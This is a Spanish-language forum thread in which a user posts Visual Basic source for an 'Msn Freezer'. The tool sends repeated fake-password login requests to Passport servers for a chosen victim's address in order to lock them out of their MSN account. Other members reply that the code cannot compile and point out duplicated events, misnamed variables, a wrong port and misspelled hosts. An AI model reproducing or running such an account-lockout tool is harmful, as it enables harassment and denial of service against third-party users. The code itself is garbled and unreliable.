 Autor
|
Tema: [SOURCE] [CPH] Msn Freezer (Leído 5,755 veces)
|
|
fary
|
Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source: '*************************************************
'**** Programado por Drinky94 ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
If text1 = "" Then
MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
Else
If intr(text1, "@") = True Then
WS.Close
WS.remotehost = messenger.hotmail.com
WS.remoteport = 1863
WS.Connect
Call parte1
Else
MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
End If
End Sub
Private Sub desbanear_click()
On Error GoTo err
WS.Close
WS2.Close
WS3.Close
timer1.Enabled = False
MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
End
End Sub
Private Sub parte1()
WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
WS2.Close
WS2.remotehost = "207.46.106.35"
WS2.remoteport = 1863
Call parte5
End Sub
Private Sub parte5()
WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
WS3.Close
WS3.remotehost = "login.passport.com"
WS3.remoteport = 433
WS3.Connect
timer1.Enabled = True
timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Select Case mensage
Case "<<VER 1 MSNP9 MSNP8 CVR0"
Call parte2
Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
Call parte3
Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
Call parte4
End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case "<<VER 4 MSNP9 MSNP8 CVR0"
Call parte6
Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
Call parte7
Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case mensage
Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Winsock1.LocalPort = 0
Winsock1.Accept requestID
End Sub
Private Sub form_load()
With ProgressBar1
.Max = 100
.Min = 0
.Value = 0
End With
End Sub Espero que les haya gustado... salu2!
|
|
|
|
« Última modificación: 9 Febrero 2010, 22:43 pm por Drinky94 »
|
En línea
|
Un byte a la izquierda.
|
|
|
Karcrack
 Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Lo has probado?? Segun veo que utilizas el MSNP es imposible que funcione  Porque pones los Sleep's con If's... son Sub's, osea, no devuelven nada... porque comparas que sea distinto de 0??? El codigo se puede optimizar y no estoy seguro de que sea funcional... (MOD: Imposible que funcione:)WS.remotehost = messenger.hotmail.com ??? Has intentado probarlo?? Esto esta en nombre CPH??  Ah! Muy graciosa la forma en la que muestras el porcentaje  PD:No pretendo ser cruel
|
|
|
|
« Última modificación: 8 Febrero 2010, 23:49 pm por Karcrack »
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
If Sleep(500) Then
progressbar.Value = 20
If Sleep(500) Then
progressbar.Value = 40
If Sleep(500) Then
progressbar.Value = 60
If Sleep(500) Then
progressbar.Value = 80
If Sleep(500) Then
progressbar.Value = 100
If Sleep(500) Then
MsgBox "La Cuenta ha sido bloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta " & text1 & " ha sido bloqueada con exito"
End If
End If
End If
End If
End If
End If
O.O!¡
|
|
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. Si te sirve esto lo puedes usar, es un modulo de clase que acabo de hacer para repetir un Proceso X cantidad de Veces, mostrando a su vez el porcentaje de ejecuciones efectuadas. ' ' //////////////////////////////////////////////////////////////// ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) // ' // // ' // Web: http://InfrAngeluX.Sytes.Net/ // ' // // ' // |-> Pueden Distribuir Este Código siempre y cuando // ' // no se eliminen los créditos originales de este código // ' // No importando que sea modificado/editado o engrandecido // ' // o achicado, si es en base a este código // ' //////////////////////////////////////////////////////////////// Option Base 0 Option Explicit Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Event PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean) Public Function ReplicarAccion(ObjDestino As Object, NombreDeProceso As String, CantidadDeReplicas As Integer, EsperaEntreReplicas As Integer, ParamArray Argumentos() As Variant) As Variant() Dim Contador As Long Dim ProcesoCompletado As String Dim Cancel As Boolean Dim Res() As Variant If ObjDestino Is Nothing Then Exit Function ReDim Res(CantidadDeReplicas - 1) Do: DoEvents If IsMissing(Argumentos) Then Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod) Else Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod, Argumentos()) End If Contador = Contador + 1 ProcesoCompletado = FormatNumber(Contador * 100 / CantidadDeReplicas, 2) RaiseEvent PorcentajeEjecutado(ProcesoCompletado, Cancel) If Cancel Then Exit Do Call Sleep(EsperaEntreReplicas) Loop Until Contador = CantidadDeReplicas ReplicarAccion = Res End Function
Ejemplificacion: ' ' //////////////////////////////////////////////////////////////// ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) // ' // // ' // Web: http://InfrAngeluX.Sytes.Net/ // ' // // ' // |-> Pueden Distribuir Este Código siempre y cuando // ' // no se eliminen los créditos originales de este código // ' // No importando que sea modificado/editado o engrandecido // ' // o achicado, si es en base a este código // ' //////////////////////////////////////////////////////////////// Option Base 0 Option Explicit Private WithEvents ReplicarProcesos As ClsRepliProcess Private Sub Form_Load() Dim Res() As Variant Dim index As Integer Set ReplicarProcesos = New ClsRepliProcess Res = ReplicarProcesos.ReplicarAccion(Me, "HolaMundo", 75, 10) For index = LBound(Res) To UBound(Res) Debug.Print Res(index) Next index End Sub Public Function HolaMundo() As Long Randomize HolaMundo = Rnd * 10 End Function Private Sub ReplicarProcesos_PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean) Debug.Print Porcentaje End Sub Private Sub Form_Unload(Cancel As Integer) Set ReplicarProcesos = Nothing End Sub
|
|
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
|
seba123neo
|
Espero que les haya gustado...
con todo respeto, no me gusto nada, y creo que a nadie le ha gustado. eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro. saludos.
|
|
|
|
|
En línea
|
|
|
|
ssccaann43 ©
Desconectado
Mensajes: 792
¬¬
|
Espero que les haya gustado...
con todo respeto, no me gusto nada, y creo que a nadie le ha gustado. eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro. saludos.  Y no se diga más...
|
|
|
|
|
En línea
|
 - Miguel Núñez Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio... "I like ^TiFa^" |
|
|
|
|
|
fary
|
no me tomo ningun comentario a mal, gracias por decirme mis errores, intentare corregirlo.
salu2!
|
|
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
skapunky
Electronik Engineer &
Colaborador
Desconectado
Mensajes: 3.667
www.killtrojan.net
|
If Sleep(500) Then Pero eso funciona en serio? Mas que nada que falta la comparación a algo y seguro que no puede compilar, lo normal al acabar un programa es almenos compilarlo para ver si lo hace. El Sr Basic se está levantando de su tumba para perseguirte. '*************************************************
'**** [CPH] Msn Freezer ****
'**** Programado por Drinky94 ****
'**** En el año 2010 para: ****
'**** :www.portalhacker.net ****
'************************************************* Ahora lo entiendo todo 
|
|
|
|
|
En línea
|
Killtrojan Syslog v1.44: ENTRAR
|
|
|
|
|
|
 |
Como diria SolanGE: "Que Incordio XD" 
